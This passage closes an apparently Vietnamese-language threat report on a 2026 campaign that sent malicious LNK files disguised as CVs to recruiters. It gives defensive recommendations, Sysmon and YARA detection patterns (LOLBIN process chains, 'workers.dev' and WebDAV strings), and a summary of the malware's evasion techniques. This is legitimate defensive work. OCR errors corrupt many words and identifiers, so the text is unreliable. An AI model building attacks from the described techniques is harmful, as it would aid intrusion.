+ [P2 - CAOQ] Block LNK execution tir thw muc Downloads/Temp: Trién khai Software
Restriction Policy (SRP) hodc ApplLocker d& block *.Ink trong %Downloads%,
%AppData%, %Temp%.

* [P2 - CAO] Monitor LOLBIN process chains: Tao Sysmon rule alert khi conhost.exe,
pcalua.exe, mshta.exe spawn child process bat thudng, déc biét khi parent process 1a
explorer.exe hodc process dén tlr user directory.

+ [P2 - CAO] Quy trinh xét duyét CV an toan cho HR: Chi mé& CV trong méi trvdng
sandbox hodc viewer cach ly. Khong mé file ZIP dinh kém tryc tiép. Chi chap nhan file
PDF thuan (khdng phai LNK nguy trang). Bao céo ngay khi thiy yéu cau tai thém file tir
link trong CV.

« [P3 - TRUNG BINH] Kich hoat Mark-of-the-Web cho archive tools: Dam bao 7-Zip va
WinRAR dang dung phién ban m&i nhat cé hé tro propagate Zone.ldentifier khi gidi nén.

+ [P3 - TRUNG BINH] YARA Hunt cho LNK dropper: Hunt tim file .Ink cé kich thwéc bat
thwong (>10KB), chira chudi workers.dev, @SSL\DavWWWRoot, hodc conhost trong
arguments.
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8. KET LUAN

Chién dich tAn cong dwoc phat hién vao ngay 28/05/2026 danh d4du mot bude leo thang dang lo
ngai trong béi canh an ninh mang tai Viét Nam. Ké tAn cong da lwa chon diém yéu dac thu cla
nganh tuyén dung — quy trinh xét duyét CV tir ngwdi la — nhw mét vector tAn cong chién luorc,
két hop véi ha tang Cloudflare Workers dé an gidu hoat déng déc hai sau HTTPS hop 1é.

Ma doc dwoc stir dung thé hién trinh do ky thuat cao: APC injection, ma héa da tang Lehmer
LCG XOR, dynamic API resolution, anti-sandbox, va chudi LOLBIN 3 tang dé duy tri persistence.
DPay khong phai 1a ma doc théng thweng — day 1a cong cu dwoc phat trién chuyén biét va kiém
thr v&i muc dich tAn coéng rd rang.

B phan ANBM TopCV va CyRadar tiép tuc theo dai chién dich nay va sé cap nhat I0C khi cé
thém phat hién méi. Moi té chirc str dung nén tang tuyén dung trwc tuyén tai Viét Nam dwoc
khuyén céo trién khai cac bién phap phong thu.

Lién hé Bao cao Sw c6: tech.security@topcv.vn | contact@cyradar.com

Chia sé 10C: Bai bao cao dwgc phan loai TLP:WHITE — c6 t‘hé chia sé ty do trong cong
dong bao mat. Cac I0OC da dwoc defang dé ngan ngtra click nham.

9. Phu luc tham khao

i Bao cao phan tich ma déc ConfigSM

ii. Bao cao phan tich ma déc query.dll

(Chi tiét tai cac dwong dan dwoc cung cap kém theo tai liéu nay)
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https://cyradar.com/blog/report-files/PL_Bao_cao_Phan_tich_ma_doc_ConfigSM.pdf
https://cyradar.com/blog/report-files/PL_Bao_cao_Phan_tich_ma_doc_query.dll_1.pdf
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